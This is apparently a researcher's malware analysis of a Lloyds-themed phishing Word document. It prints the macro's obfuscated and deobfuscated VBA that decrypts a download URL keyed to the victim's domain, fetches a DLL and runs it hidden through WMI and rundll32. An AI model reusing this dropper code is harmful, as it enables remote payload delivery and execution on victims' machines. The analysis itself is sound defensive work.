This phishing document was interesting for not only its lure / cover, but also for the way it used encryption to target users who had a domain with certain key words in it. While brute forcing the domains only results in some potentially financial key words, the stage 2 domain acts as a pivot to find an original phish email in VT, which shows this was quite targeted after all.
- File Info
- Document Structure
- Malicious VBA
- LBG Employee Benefits - Pensionio.msg
The document is a full page image, with two VBA modules, “ThisDocument” and “NewMacros”.
remnux@remnux:~/host-malware/mud.doc$ oledump.py df4e2efa8d2ec9f323b501d46d126c4f663b8d757c12954b885a17fa9a8ca46b 1: 114 '\x01CompObj' 2: 280 '\x05DocumentSummaryInformation' 3: 416 '\x05SummaryInformation' 4: 8866 '1Table' 5: 4096 'Data' 6: 498 'Macros/PROJECT' 7: 71 'Macros/PROJECTwm' 8: M 30499 'Macros/VBA/NewMacros' 9: M 2269 'Macros/VBA/ThisDocument' 10: 8337 'Macros/VBA/_VBA_PROJECT' 11: 7465 'Macros/VBA/__SRP_0' 12: 638 'Macros/VBA/__SRP_1' 13: 976 'Macros/VBA/__SRP_2' 14: 208 'Macros/VBA/__SRP_3' 15: 11804 'Macros/VBA/__SRP_4' 16: 1030 'Macros/VBA/__SRP_5' 17: 827 'Macros/VBA/dir' 18: 128 'ObjectPool/_1586936887/\x01CompObj' 19: 32 'ObjectPool/_1586936887/\x03OCXNAME' 20: 6 'ObjectPool/_1586936887/\x03ObjInfo' 21: 552 'ObjectPool/_1586936887/\x03PRINT' 22: 60 'ObjectPool/_1586936887/contents' 23: 181815 'WordDocument'
Metadata shows it was created and last modified on the 4th of May, 2018, by KPMGUser. This user name is certainly a reference to the giant consulting firm, KPMG.
The authors of this document went to some trouble to work on their cover story. The document is a Lloyds Banking Group themed phish, which is offering to search for old pensions under your name. They’re asking you to hit the “Authorize” button, and they are nice enough to tell you that you’ll need to enable macros to do this.
This is interesting because they are not going with the typical claim of older version of office, or just click here. Rather, they’ve built a premise that, if you believe it, would actually require macros to run.
For what it’s worth, pensionio.com and www.pensionio.com don’t resolve in DNS. According to VT, they did in May:
The code within
ThisDocument is the rest of the cover story. When you enable macros and click submit, you get a pop-up telling you that you’ve submitted, and telling you your current username, which the authors suspect is enough for the target to move on while they wait for results, which will never come.
remnux@remnux:~/host-malware/mud.doc$ oledump.py -s 9 -v df4e2efa8d2ec9f323b501d46d126c4f663b8d757c12954b885a17fa9a8ca46b Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Control = "CommandButton1, 0, 0, MSForms, CommandButton" Private Sub CommandButton1_Click() User = Environ("USERNAME") MsgBox "Thank you for submitting. Your username is : " + User End Sub
The VBA is targeted towards very specific targets. The code is in the
NewMacros module, and it execution on opening by implementing
AutoOpen(), which simply calls
RunMe function takes the following actions:
- Initializes and attempts to decrypt a master key using the user’s domain as a key (
keyVar = UCase(Environ("USERDNSDOMAIN"))).
- Uses the master key to decrypt a string url.
- Issue a GET request using
Microsoft.XMLHTTPto get the url decrypted in 2, saving it to a file in
- Creates a WMI object to create a rundll32.exe process to load the dll.
1. Decrypt Key with DNS Domain
The malware will need to download the next stage binary, but as an anti-forensics measure, it keeps the url for that binary encrypted, and the VBA contains the routines to decrypt it. The master key is encrypted 19 times, presumably with different target domains. So the code gets the current domain using
keyVar = UCase(Environ("USERDNSDOMAIN")), and then tries to decrypt each of the 20 binaries objects hardcoded as “keySchedule”. If none of them can be decrypted, and error message is thrown, and the code exits.
The code looks like this:
Sub RunMe() Dim s, keyVar, sPlaintext As String Dim masterKey As Variant keyVar = UCase(Environ("USERDNSDOMAIN")) Dim payload As String payload = "" Dim i As Integer Dim keyScheduleBytes() As Variant Dim myURL As String Dim keySchedule(19) As String keySchedule(0) = "i+6d45jyleWY9cH3h/yB6oeljPOT/tih3rU=" '...snip...' keySchedule(19) = "keWR7ZPunued+N3yjv+M+Imqj/CK9tes1qo=" payload = payload & "uerr6erm67Xh86nk8rT19r/yofGx+u7s663+oLDpruevrvWss+64va7xpvHn" payload = payload & "or/n5eO+/qfxpqGrtOK0tfap9f3r8rLns/r996Tivq+34beyqA==" ReDim keyScheduleBytes(UBound(keySchedule)) For i = 0 To UBound(keySchedule) keyScheduleBytes(i) = Decode64(keySchedule(i)) Next masterKey = TryAllKeys(keyVar, keyScheduleBytes)
TryAllKeys code does just that. When passed the
keyVar (domain) and the
keyScheduleBytes, it first breaks the domain into pieces (using the
ExpandDotString function). Then it tries to decrypt each blob in the schedule with each piece of the domain, and if successful, returns the key, and otherwise raises and exception:
Function TryAllKeys(ByVal sInput As String, ByRef sKeys As Variant) As Byte() Dim candidates() As String Dim c As Variant candidates = ExpandDotString(sInput) For Each k In sKeys For Each c In candidates ' TryAllKeys = XorDecryptAndVerifyCRC(mascaktwo(c), k) If (Not Not TryAllKeys) <> 0 Then Exit Function End If Next c Next k Err.Raise vbObjectError + 555, "TryAllkeys", "Master key not found :/" End Function
Brute Forcing the Domain - Technique
I wanted to figure out who was being targeted, so I grabbed a list of the top 10 million domains from here. Then, I wrote some modified versions of
TryAllKeys. In my version of
RunMe, it ends after calling
TryAllKeys. In my version of
TryAllKeys, it fails silently, and pops a message box on success. Then here’s my wrapper, plus modified functions:
Sub brute() domains = "c:\domainlist.txt" Open domains For Input As #1 Do Until EOF(1) Line Input #1, domain BruteRunMe (UCase(domain)) Loop Close #1 End Sub Sub BruteRunMe(keyVar As String) Dim s, sPlaintext As String Dim masterKey As Variant Dim payload As String payload = "" Dim i As Integer Dim keyScheduleBytes() As Variant Dim myURL As String Dim keySchedule(19) As String keySchedule(0) = "i+6d45jyleWY9cH3h/yB6oeljPOT/tih3rU=" '...snip...' keySchedule(19) = "keWR7ZPunued+N3yjv+M+Imqj/CK9tes1qo=" payload = payload & "uerr6erm67Xh86nk8rT19r/yofGx+u7s663+oLDpruevrvWss+64va7xpvHn" payload = payload & "or/n5eO+/qfxpqGrtOK0tfap9f3r8rLns/r996Tivq+34beyqA==" ReDim keyScheduleBytes(UBound(keySchedule)) For i = 0 To UBound(keySchedule) keyScheduleBytes(i) = Decode64(keySchedule(i)) Next masterKey = BruteTryAllKeys(keyVar, keyScheduleBytes) End Sub Function BruteTryAllKeys(ByVal sInput As String, ByRef sKeys As Variant) As Byte() Dim candidates() As String Dim c As Variant candidates = ExpandDotString(sInput) For Each k In sKeys For Each c In candidates TryAllKeys = XorDecryptAndVerifyCRC(mascaktwo(c), k) If (Not Not TryAllKeys) <> 0 Then MsgBox ("Found Key: " & sInput & vbNewLine & "Key: " & c) Exit Function End If Next c Next k End Function
I would later modify the code to write results to a file, so that I could let it run for a while and see what came out.
Brute Forcing the Domain - Results
If any of the following strings are found in the target’s domain when it’s split at the
.s, then the key decrypts:
We can also get the master key by putting a break at the return for
TryAllKeys, and then using their own
print BytesToString(TryAllKeys) fb44099ff229b629
2. Decrypt String
With the master key decrypted, the code can now decrypt the url for the next stage payload:
ciphertext = Decode64(payload) bPlaintext = XorDecryptAndVerifyCRC(masterKey, ciphertext) sPlaintext = BytesToString(bPlaintext) zzz = sPlaintext
Breaking at this point gives us the next stage:
Unfortunately (though not surprisingly), the link is no longer active.
3. Get the Binary
The next block of code gets the binary. While the url indicates this is a .docx, we’ll see it is actually a .dll executable file.
Dim ampleMacarons Dim bStrm Dim filename Set ampleMacarons = CreateObject(StrReverse("PTTHLMX.tfosorciM")) ampleMacarons.Open "GET", zzz, False ampleMacarons.Send Set dollop = CreateObject(StrReverse("maertS.bdodA")) dollop.Type = 1 dollop.Open dollop.Write ampleMacarons.responseBody dstPath = Environ$("TEMP") & "\" & namePrefix & "_" & DateDiff("s", #1/1/1970#, Now()) & nameSuffix savePath = dstPath dollop.savetofile savePath, 2
To avoid filters, this section uses another obfuscation technique, putting all the strings through a reverse function. These are easy enough to undo by hand, but may avoid automated filters. The code creates a
Microsoft.XMLHTTP object, uses it to issue a get request. Then, it creates a
Adodb.Stream objection, which is passes in the response body, and uses that to save to
4. Use WMI to create a rundll32 process to run the dll
Finally, the script uses WMI to create a process. Here’s the code:
Const HIDDEN_WINDOW = 0 strComputer = "." abc = StrReverse("23lldnur") & " " & dstPath & ",Start" strGetObject = StrReverse("2vmic\toor\.\\:stmgmniw") Set objWMIService = GetObject(strGetObject) Set objStartup = objWMIService.Get(StrReverse("putratSssecorP_23niW")) Set objConfig = objStartup.SpawnInstance_ objConfig.ShowWindow = HIDDEN_WINDOW Set objProcess = GetObject(strGetObject & StrReverse("ssecorP_23niW:")) objProcess.Create abc, Null, objConfig, intProcessID
Here’s the code with the
Const HIDDEN_WINDOW = 0 abc = "rundll32 " & dstPath & ",Start" Set objWMIService = GetObject("winmgmts:\\.\root\cimv2") Set objStartup = objWMIService.Get("Win32_ProcessStartup") Set objConfig = objStartup.SpawnInstance_ objConfig.ShowWindow = HIDDEN_WINDOW Set objProcess = GetObject("winmgmts:\\.\root\cimv2:Win32_Process") objProcess.Create abc, Null, objConfig, intProcessID
So it creates a WMI object, which starts a process with a hidden window, and runs it with command line
In doing some quick looking at domain used to download the next stage, I found that VT had one “Files Referring”, which happened to be dated 4 days after the creation of the document:
LBG Employee Benefits - Pensionio.msg
Converting to text
The msg file is a Outlook message file:
~/malware/mud.doc# file 68a4985515203c6c8274628e71b433444e32bbbc125ffdf88d7570c3960b2588 68a4985515203c6c8274628e71b433444e32bbbc125ffdf88d7570c3960b2588: CDFV2 Microsoft Outlook Message
We can convert it to something more readable using
msgconvert, and get it in plain text.
The email has no plain text section, only headers, and two attachments ‘lbg-pensionio-form-2018.doc’ and ‘ATT00001.htm’. Presumably most email clients would display ATT00001.htm as the body.
The headers indicate the message was sent at 12:16 on May 8 +0100, from Jonathan Margate <email@example.com> to firstname.lastname@example.org. The subject line, “LBG Employee Benefits - Pensionio” fits the lure.
The X-Originating-IP is 220.127.116.11, which is a DigitalOcean IP, so it’s likely not actually Pensionio.
The X-Filenames header reports the attachment names are “PGPexch.htm.pgp, Attachment1.pgp”. There’s a couple other PGP-related headers, so it seems that this message was sent encrypted, though it’s been decrypted by the time it’s uploaded to VT.
The received headers show that the message coming to server-27.tower-301.messagelabs.com.
Received: from mgwlspet03f004.machine.group (10.127.112.171) by EXCLGVIRTUAL005.Global.Lloydstsb.Com (10.126.197.91) with Microsoft SMTP Server (TLS) id 8.3.515.0; Tue, 8 May 2018 12:18:18 +0100 Received: from pgplspet02d002-int.machine.group (HELO pgplspet02d002.machine.group) ([10.125.105.11]) by mgwlspet03f004.machine.group with ESMTP/TLS/DES-CBC3-SHA; 08 May 2018 12:18:16 +0100 Received: from MGWLSPET03F001.machine.group ([10.12.225.81]) by pgplspet02d002.machine.group (PGP Universal service); Tue, 08 May 2018 12:18:17 +0100 Received: from mail6.bemta25.messagelabs.com ([18.104.22.168]) by MGWLSPET03F001.machine.group with ESMTP; 08 May 2018 12:17:55 +0100 Received: from [22.214.171.124] (using TLSv1.2 with cipher DHE-RSA-AES256-GCM-SHA384 (256 bits)) by server-3.bemta.az-c.eu-west-1.aws.symcld.net id 6B/DA-03930-A5781FA5; Tue, 08 May 2018 11:17:46 +0000 Received: (qmail 9141 invoked from network); 8 May 2018 11:17:45 -0000 Received: from unknown (HELO pensionio) (126.96.36.199) by server-27.tower-301.messagelabs.com with SMTP; 8 May 2018 11:17:45 -0000 Received: by pensionio (Postfix, from userid 1000) id A278240D2A; Tue, 8 May 2018 11:17:45 +0000 (UTC)
messagelabs.com actually redirects to a Symantec page, https://www.symantec.com/theme/cloud-generation. Based on the MX records associated with lloydsbanking.com, Lloyds uses this service for email scanning:
~/malware/mud.doc# dig lloydsbanking.com MX ...snip... ;; ANSWER SECTION: lloydsbanking.com. 28800 IN MX 10 cluster1.eu.messagelabs.com. lloydsbanking.com. 28800 IN MX 20 cluster1a.eu.messagelabs.com.
X-Brightmail-Tracker header is also something Symantec uses to track false positives and false negatives.
We can base64 decode this attachment, and view it in a browser:
So this is a very targeted phish towards a Lloyds employee, from a made up company. It’s pretty convincing. I wish we could see what was a www.pensionio.com.
Unfortunately, as one might expect since it’s been 2+ months since this document’s creation, the download domain for the next stage isn’t available, so we can’t determine what the next stage of the attack might have been. Still, with the document and the original email, we got to see a targeted phishing threat against Lloyds Bank. This document was fun to play with since it provided a chance to brute force decrypt the payload, and included a somewhat targeted lure. And while the encryption certainly wasn’t that hard to break, it was definitely enough to keep the document from revealing it’s next steps to any automated sandboxes, which was likely the goal.